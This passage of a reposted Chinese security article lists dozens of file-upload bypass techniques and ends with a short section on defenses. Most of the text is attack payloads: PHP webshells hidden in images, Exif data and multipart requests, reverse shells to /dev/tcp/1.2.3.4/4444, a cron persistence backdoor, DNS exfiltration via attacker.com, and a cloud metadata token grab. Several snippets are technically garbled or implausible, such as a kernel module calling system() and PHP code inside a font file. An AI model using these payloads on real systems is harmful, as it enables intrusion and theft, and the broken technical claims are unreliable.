50个文件上传绕过技巧,懂一半绝对高手!

admin 2026-06-13 04:50:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统总结了50种文件上传漏洞绕过技术,涵盖前端检测突破、内容混淆、解析漏洞利用、协议层攻击及云环境特例。核心发现包括通过修改文件头/尾、编码混淆、协议注入等方式绕过安全检测,并提供具体代码示例。关键建议涉及多维度防御策略,如严格校验文件内容、禁用危险解析功能等。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞分析,安全工具,红队


 → 框架渲染时截断分号

  • • AngularJS沙箱逃逸 {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} });alert(1)//');}}
  • 3. 浏览器特性滥用

    • • Chrome同源策略绕过 利用<input type=file webkitdirectory>上传目录结构
    • • Safari MIME混淆 修改文件魔数为\x89PNG伪装图片

    二、内容检测绕过

    4. 文件结构注入

    // GIF89a文件头注入
    #define width 1337
    #define height 1337
    <?php&nbsp;system($_GET['cmd']);&nbsp;?>
    

    5. 图像Exif隐藏

    exiftool -Comment='<?php system($_GET["c"]); ?>'&nbsp;image.jpg
    mv&nbsp;image.jpg shell.php.jpg
    

    6. 多态编码技术

    # 异或编码示例
    key =&nbsp;0xAA
    shellcode =&nbsp;b"\x31\xc0\x50\x68..."
    encoded =&nbsp;bytes([b ^ key&nbsp;for&nbsp;b&nbsp;in&nbsp;shellcode])
    open('encoded.jpg',&nbsp;'wb').write(b'\xFF\xD8\xFF'&nbsp;+ encoded)
    

    7. 压缩包嵌套攻击

    zip payload.zip shell.php
    echo&nbsp;'<?php system($_GET["cmd"]); ?>'&nbsp;> stub.jpg
    cat&nbsp;stub.jpg payload.zip > final.jpg
    

    三、解析漏洞利用

    8. Apache路径解析缺陷

    上传文件: exploit.php.jpg
    访问路径: /uploads/exploit.php.jpg/.
    

    9. Nginx错误配置

    # 危险配置示例
    location&nbsp;~ \.php$&nbsp;{
    &nbsp;&nbsp;fastcgi_pass&nbsp;127.0.0.1:9000;
    &nbsp;&nbsp;include&nbsp;fastcgi_params;
    }
    
    # 绕过:上传shell.jpg,访问/shell.jpg%20%00.php
    

    10. IIS短文件名探测

    1. 检测存在性: /uplo~1/.aspx
    2. 上传长文件名文件: ThisIsMyShellFile.aspx
    3. 实际调用: /THISIS~1.ASP
    

    11. PHP流包装器攻击

    上传内容: <script language="php">system("id");</script>
    保存为: shell.jpg
    包含调用: php://filter/convert.base64-decode/resource=shell.jpg
    

    四、协议层绕过

    12. 分块传输编码攻击

    POST&nbsp;/upload.php&nbsp;HTTP/1.1
    Transfer-Encoding:&nbsp;chunked
    
    5;.php
    <?php
    A
    0
    

    13. 边界符注入

    ------WebKitFormBoundaryABC
    Content-Disposition:&nbsp;form-data; name="file"; filename="shell.jpg"
    
    <?php system($_GET['cmd']); ?>
    ------WebKitFormBoundaryABC--
    

    14. HTTP请求走私

    POST&nbsp;/upload&nbsp;HTTP/1.1
    Host:&nbsp;target.com
    Content-Length:&nbsp;4
    Transfer-Encoding:&nbsp;chunked
    
    0
    
    GET&nbsp;/bypass.php?p=evil.php HTTP/1.1
    Host: target.com
    

    五、云环境特例

    15. AWS S3预签名URL绕过

    import&nbsp;boto3
    s3 = boto3.client('s3')
    # 生成可执行文件上传URL
    url = s3.generate_presigned_url(
    &nbsp; &nbsp;&nbsp;'put_object',
    &nbsp; &nbsp; Params={'Bucket':&nbsp;'mybucket',&nbsp;'Key':&nbsp;'shell.php'},
    &nbsp; &nbsp; ExpiresIn=3600
    )
    

    16. Azure Blob存储元数据注入

    PUT&nbsp;https://mystorage.blob.core.windows.net/mycontainer/shell.jpg&nbsp;HTTP/1.1
    x-ms-meta-ContentType:&nbsp;application/x-php
    

    17. Cloudflare Workers代理

    addEventListener('fetch',&nbsp;event&nbsp;=>&nbsp;{
    &nbsp; event.respondWith(handleRequest(event.request))
    })
    
    async&nbsp;function&nbsp;handleRequest(request) {
    &nbsp;&nbsp;// 将.php请求转发至真实服务器
    &nbsp;&nbsp;if(request.url.includes('.php')) {
    &nbsp; &nbsp;&nbsp;return&nbsp;fetch('https://attacker-server.com'&nbsp;+ request.url)
    &nbsp; }
    }
    

    六、高级混淆技术

    18. SVG-XSS组合攻击

    <svg&nbsp;xmlns="http://www.w3.org/2000/svg"&nbsp;onload="fetch('/malicious.js').then(r=>r.text().then(eval))"/>
    

    19. 字体文件命令执行

    @font-face&nbsp;{
    &nbsp;&nbsp;font-family:&nbsp;'poc';
    &nbsp;&nbsp;src:&nbsp;url('shell.woff')&nbsp;format('woff');
    }
    /* shell.woff包含: */
    <?php
    /* 00 00 00 ... */&nbsp;system($_GET['cmd']);
    ?>
    

    20. WebAssembly逃逸

    // shell.c
    #include&nbsp;<stdlib.h>
    int&nbsp;main()&nbsp;{
    &nbsp; system("bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'");
    }
    
    emcc shell.c -o shell.wasm
    

    七、内容混淆进阶

    21. 多语言编码冲突

    # 利用GBK与UTF-8编码差异
    filename =&nbsp;"壳.p\xd5\xd5"&nbsp;&nbsp;# GBK编码"壳.php"
    # 后端UTF-8解码时:壳.p袘 → 绕过".php"检测
    

    22. 文件尾注入

    # 在合法文件尾部追加代码
    echo&nbsp;'<?php eval($_POST[1]); ?>'&nbsp;>> legit.jpg
    mv&nbsp;legit.jpg shell.jpg
    

    23. 动态模板渲染

    {{!-- 上传恶意Handlebars模板 --}}
    {{#with&nbsp;"s"&nbsp;as&nbsp;|string|}}
    &nbsp;&nbsp;{{#with&nbsp;"e"}}
    &nbsp; &nbsp;&nbsp;{{#with&nbsp;split&nbsp;as&nbsp;|conslist|}}
    &nbsp; &nbsp; &nbsp;&nbsp;{{this.pop}}
    &nbsp; &nbsp; &nbsp;&nbsp;{{this.push&nbsp;(lookup&nbsp;string.sub&nbsp;"constructor")}}
    &nbsp; &nbsp; &nbsp;&nbsp;{{this.pop}}
    &nbsp; &nbsp; &nbsp;&nbsp;{{#with&nbsp;string.split&nbsp;as&nbsp;|codelist|}}
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{this.pop}}
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{this.push&nbsp;"return require('child_process').execSync('id');"}}
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{this.pop}}
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{#each&nbsp;conslist}}
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{#with&nbsp;(string.sub.apply&nbsp;0&nbsp;codelist)}}
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{this}}
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{/with}}
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{{/each}}
    &nbsp; &nbsp; &nbsp;&nbsp;{{/with}}
    &nbsp; &nbsp;&nbsp;{{/with}}
    &nbsp;&nbsp;{{/with}}
    {{/with}}
    

    24. 二进制填充干扰

    # 添加无效字节干扰检测
    with&nbsp;open('shell.php',&nbsp;'rb')&nbsp;as&nbsp;f:
    &nbsp; &nbsp; payload = f.read()
    
    # 插入随机字节
    modified = payload[:100] + os.urandom(500) + payload[100:]
    

    25. OLE对象注入

    # 在Office文档中嵌入恶意对象
    olevba -c&nbsp;"CreateObject('WScript.Shell').Run('calc.exe')"&nbsp;-o payload.doc
    

    26. 字体文件命令执行

    /* 利用@font-face规则 */
    @font-face&nbsp;{
    &nbsp;&nbsp;font-family:&nbsp;'exploit';
    &nbsp;&nbsp;src:&nbsp;url('shell.woff')&nbsp;format('woff');
    }
    body&nbsp;{
    &nbsp;&nbsp;font-family:&nbsp;'exploit', sans-serif;
    }
    

    27. 3D模型嵌入

    <!-- 在GLTF文件中注入脚本 -->
    {
    &nbsp; "scenes": [...],
    &nbsp; "nodes": [...],
    &nbsp; "extras": {
    &nbsp; &nbsp; "malicious": "<?php system($_GET['cmd']); ?>"
    &nbsp; }
    }
    

    28. 区块链数据隐藏

    // 将恶意代码存入区块链交易
    function storePayload(string memory _data) public {
    &nbsp; &nbsp; payloads[msg.sender] = _data;
    }
    // 文件仅包含数据索引
    <?php include_ipfs(QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco);
    

    八、协议层绕过进阶

    29. HTTP/2帧注入

    :method: POST
    :path: /upload
    :authority: target.com
    content-type: multipart/form-data
    
    --boundary
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: image/jpeg
    
    <?php system($_GET['cmd']); ?>
    

    30. WebSocket隧道传输

    // 通过WebSocket传输文件片段
    const&nbsp;ws =&nbsp;new&nbsp;WebSocket('wss://target.com/upload');
    ws.onopen&nbsp;=&nbsp;() =>&nbsp;{
    &nbsp;&nbsp;const&nbsp;fileChunks =&nbsp;splitFile(maliciousFile);
    &nbsp; fileChunks.forEach(chunk&nbsp;=>&nbsp;{
    &nbsp; &nbsp; ws.send(JSON.stringify({
    &nbsp; &nbsp; &nbsp;&nbsp;type:&nbsp;'filePart',
    &nbsp; &nbsp; &nbsp;&nbsp;data:&nbsp;btoa(chunk)
    &nbsp; &nbsp; }));
    &nbsp; });
    };
    

    31. QUIC协议利用

    # 使用QUIC协议绕过传统WAF
    quicly --request -U https://target.com/upload -d @shell.php
    

    32. DNS隧道传输

    # 通过DNS TXT记录传输文件
    import&nbsp;dns.resolver
    chunks = split_file_to_chunks('shell.php')
    for&nbsp;i, chunk&nbsp;in&nbsp;enumerate(chunks):
    &nbsp; &nbsp; subdomain =&nbsp;f"{base64_encode(chunk)}.{i}.attacker.com"
    &nbsp; &nbsp; dns.resolver.resolve(subdomain,&nbsp;'TXT')
    

    33. SMTP附件重组

    MAIL FROM:<[email protected]>
    RCPT TO:<[email protected]>
    DATA
    Subject: Important document
    MIME-Version: 1.0
    Content-Type: multipart/mixed; boundary="boundary"
    
    --boundary
    Content-Type: text/plain
    
    This is a legitimate document
    
    --boundary
    Content-Type: application/octet-stream
    Content-Transfer-Encoding: base64
    Content-Disposition: attachment; filename="part1.b64"
    
    UEsDBBQAAAAI...
    --boundary
    Content-Type: application/octet-stream
    Content-Transfer-Encoding: base64
    Content-Disposition: attachment; filename="part2.b64"
    
    ...AAFBLAQIUABQAAAAI
    --boundary--
    

    34. ICMP载荷传输

    // 通过ICMP包传输文件
    struct&nbsp;icmp_packet&nbsp;{
    &nbsp; &nbsp;&nbsp;struct&nbsp;icmphdr&nbsp;header;
    &nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;payload[1472];&nbsp;// MTU 1500 - IP头 - ICMP头
    };
    
    // 接收端重组ICMP包中的文件片段
    

    35. RTSP协议伪装

    DESCRIBE rtsp://target.com/upload RTSP/1.0
    CSeq: 1
    Content-Type: multipart/form-data; boundary=boundary
    Content-Length: 999
    
    --boundary
    Content-Disposition: form-data; name="file"; filename="stream.sdp"
    Content-Type: application/sdp
    
    v=0
    o=- 0 0 IN IP4 127.0.0.1
    s=Malicious Stream
    m=application 0 TCP/RTP/AVP 0
    a=setup:active
    a=connection:existing
    a=rtpmap:0 application/php
    a=fmtp:0 <?php system($_GET['cmd']); ?>
    

    九、云原生环境绕过

    36. 容器镜像污染

    # 在基础镜像中植入后门
    FROM&nbsp;alpine:latest
    COPY&nbsp;legit-app /app
    COPY&nbsp;shell.php /app/public/images/
    CMD&nbsp;["/app/entrypoint.sh"]
    

    37. Serverless函数劫持

    // AWS Lambda函数中的文件处理漏洞
    exports.handler&nbsp;=&nbsp;async&nbsp;(event) => {
    &nbsp; &nbsp;&nbsp;const&nbsp;file = event.body;&nbsp;// 未验证文件内容
    &nbsp; &nbsp; fs.writeFileSync(`/tmp/${event.filename}`, file);
    &nbsp; &nbsp;&nbsp;// 攻击者可上传PHP文件并触发执行
    };
    

    38. K8s ConfigMap滥用

    # 通过ConfigMap存储恶意脚本
    kubectl create configmap webshell \
    &nbsp; --from-file=shell.php
    
    # Pod中挂载使用
    spec:
    &nbsp; containers:
    &nbsp; - name: app
    &nbsp; &nbsp; volumeMounts:
    &nbsp; &nbsp; - name: config-volume
    &nbsp; &nbsp; &nbsp; mountPath: /var/www/html
    

    39. 服务网格旁路

    # Istio VirtualService绕过
    apiVersion:networking.istio.io/v1alpha3
    kind:VirtualService
    metadata:
    name:upload-bypass
    spec:
    hosts:
    -"legit-service"
    http:
    -match:
    &nbsp; &nbsp;&nbsp;-uri:
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;prefix:"/special_upload"
    &nbsp; &nbsp;&nbsp;route:
    &nbsp; &nbsp;&nbsp;-destination:
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;host:&nbsp;malicious-service
    

    40. 云日志注入

    # 通过日志服务写入文件
    import&nbsp;logging
    logger = logging.getLogger('malicious')
    logger.error('<?php system($_GET["cmd"]); ?>')
    

    41. 云存储事件触发

    # 上传文件到存储桶触发事件
    aws s3&nbsp;cp&nbsp;shell.jpg s3://target-bucket/
    
    # 恶意Lambda函数处理事件
    exports.handler = (event) => {
    &nbsp; &nbsp; const key = event.Records[0].s3.object.key;
    &nbsp; &nbsp; require('child_process').exec(`php /tmp/${key}`);
    };
    

    42. 基础设施即代码攻击

    # 恶意Terraform配置
    resource "aws_s3_bucket_object" "webshell" {
    &nbsp; bucket = "target-bucket"
    &nbsp; key &nbsp; &nbsp;= "images/shell.php"
    &nbsp; source = "shell.php"
    }
    

    43. 服务账号密钥滥用

    # 获取云服务账号密钥
    curl -H&nbsp;"Metadata-Flavor: Google"&nbsp;\
    &nbsp; http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    
    # 使用密钥上传文件
    gcloud auth activate-service-account --key-file=creds.json
    gsutil&nbsp;cp&nbsp;shell.php gs://target-bucket/
    

    十、操作系统特性利用

    44. Windows ADS流隐藏

    # 创建备用数据流
    echo&nbsp;<?php system($_GET['cmd']); ?> > legit.jpg:shell.php
    
    # 执行脚本
    wscript.exe //e:php legit.jpg:shell.php
    

    45. Linux通配符滥用

    # 利用通配符匹配特性
    upload_file&nbsp;'[x]shell.php'
    
    # 后端处理时可能变为:
    # 若存在x文件:xshell.php
    # 若不存在:_shell.php
    

    46. 文件系统硬链接

    # 创建指向Web目录的硬链接
    ln&nbsp;/etc/passwd /var/www/html/images/shell.php
    

    47. 计划任务触发

    # 上传可执行脚本
    echo&nbsp;'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'&nbsp;> /tmp/.update.sh
    
    # 创建监控任务
    echo&nbsp;'* * * * * root /tmp/.update.sh'&nbsp;> /etc/cron.d/update
    

    48. 内存文件系统利用

    <?php
    // 上传到内存文件系统
    file_put_contents('/dev/shm/.cache.php',&nbsp;'<?php system($_GET["c"]); ?>');
    include('/dev/shm/.cache.php');
    ?>
    

    49. 环境变量注入

    # 通过文件名设置环境变量
    upload_file&nbsp;'PATH=/tmp:$PATH;chmod +x shell;./shell'
    

    50. 内核模块加载

    // 上传恶意内核模块
    #include&nbsp;<linux/module.h>
    MODULE_LICENSE("GPL");
    static&nbsp;int&nbsp;__init&nbsp;init(void)&nbsp;{
    &nbsp; &nbsp; system("bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'");
    &nbsp; &nbsp;&nbsp;return&nbsp;0;
    }
    module_init(init);
    

    防御策略

    关键防御技术

    1. 1. 实时文件解剖
       def&nbsp;analyze_file(file):
       &nbsp; &nbsp;&nbsp;# 多维度分析
       &nbsp; &nbsp; results = {
       &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"static": clamav.scan(file),
       &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"dynamic": sandbox.execute(file),
       &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"entropy": calculate_entropy(file),
       &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"metadata": extract_metadata(file)
       &nbsp; &nbsp; }
       &nbsp; &nbsp;&nbsp;# 机器学习模型评分
       &nbsp; &nbsp;&nbsp;return&nbsp;ml_model.predict(results)
    
    1. 2. 容器安全策略
       # Dockerfile防御增强
       FROM&nbsp;hardened-base
       RUN&nbsp;apk add --no-cache file-monitor
       COPY&nbsp;--chown=app:app --from=builder /app /app
       USER&nbsp;app:app
       HEALTHCHECK&nbsp;--interval=30s CMD [&nbsp;"file-monitor",&nbsp;"/app/uploads"&nbsp;]
    
    1. 3. 云原生防护
       # Kubernetes安全策略
       apiVersion:policy/v1beta1
       kind:PodSecurityPolicy
       metadata:
       name:upload-restricted
       spec:
       readOnlyRootFilesystem:true
       allowedHostPaths:
       -pathPrefix:"/uploads"
       &nbsp; &nbsp;&nbsp;readOnly:true
       volumes:
       -emptyDir
       -&nbsp;configMap
    

    文件上传安全的终极解决方案:

    纵深防御原则

    • • 前端:内容安全策略(CSP)
    • • 网络:协议深度检测(DPI)
    • • 主机:文件系统监控(inotify)
    • • 运行时:系统调用过滤(seccomp)

    关键防御措施

    1. 1. 文件类型白名单验证
       ALLOWED_MIME = {'image/jpeg': ['.jpg',&nbsp;'.jpeg'],&nbsp;'image/png': ['.png']}
       def&nbsp;validate_file(file):
       &nbsp; &nbsp; ext = os.path.splitext(file.name)[1].lower()
       &nbsp; &nbsp;&nbsp;if&nbsp;file.content_type&nbsp;not&nbsp;in&nbsp;ALLOWED_MIME:
       &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
       &nbsp; &nbsp;&nbsp;if&nbsp;ext&nbsp;not&nbsp;in&nbsp;ALLOWED_MIME[file.content_type]:
       &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
       &nbsp; &nbsp;&nbsp;return&nbsp;True
    
    1. 2. 动态文件渲染
       location&nbsp;~* \.(php|jsp|asp)$&nbsp;{
       &nbsp; &nbsp;&nbsp;deny&nbsp;all; &nbsp;# 禁止直接执行
       &nbsp; &nbsp;&nbsp;# 强制转为下载
       &nbsp; &nbsp;&nbsp;add_header&nbsp;Content-Disposition attachment;
       }
    
    1. 3. 内容深度检测
       # 使用ClamAV+自定义规则
       clamscan -d custom.ndb -r /uploads
       # 自定义规则示例
       custom.ndb:1:0:0:636f6e74656e743d225b5c7838305c7839305d2a706870
    
    1. 4. 存储隔离策略
       // 文件存储路径生成算法
       $safe_name&nbsp;=&nbsp;bin2hex(random_bytes(8)) .&nbsp;'.'&nbsp;.&nbsp;$ext;
       $storage_path&nbsp;=&nbsp;'/data/'&nbsp;.&nbsp;date('Ym') .&nbsp;'/'&nbsp;.&nbsp;substr($safe_name,&nbsp;0,&nbsp;2);
    

    文件上传安全的三大铁律

    1. 1. 永不信任客户端:所有客户端验证都需服务端二次校验
    2. 2. 深度防御原则:在文件生命周期各环节设置检测点
    3. 3. 最小化暴露面:存储分离+权限隔离是最后防线

    安全是持续对抗的过程,唯有建立动态演进的防护体系,方能在攻防博弈中立于不败之地。


    免责声明:

    本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

    任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

    本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

    本文转载自:乌雲安全 GhostShell GhostShell《50个文件上传绕过技巧,懂一半绝对高手!》

      评论:0   参与:  0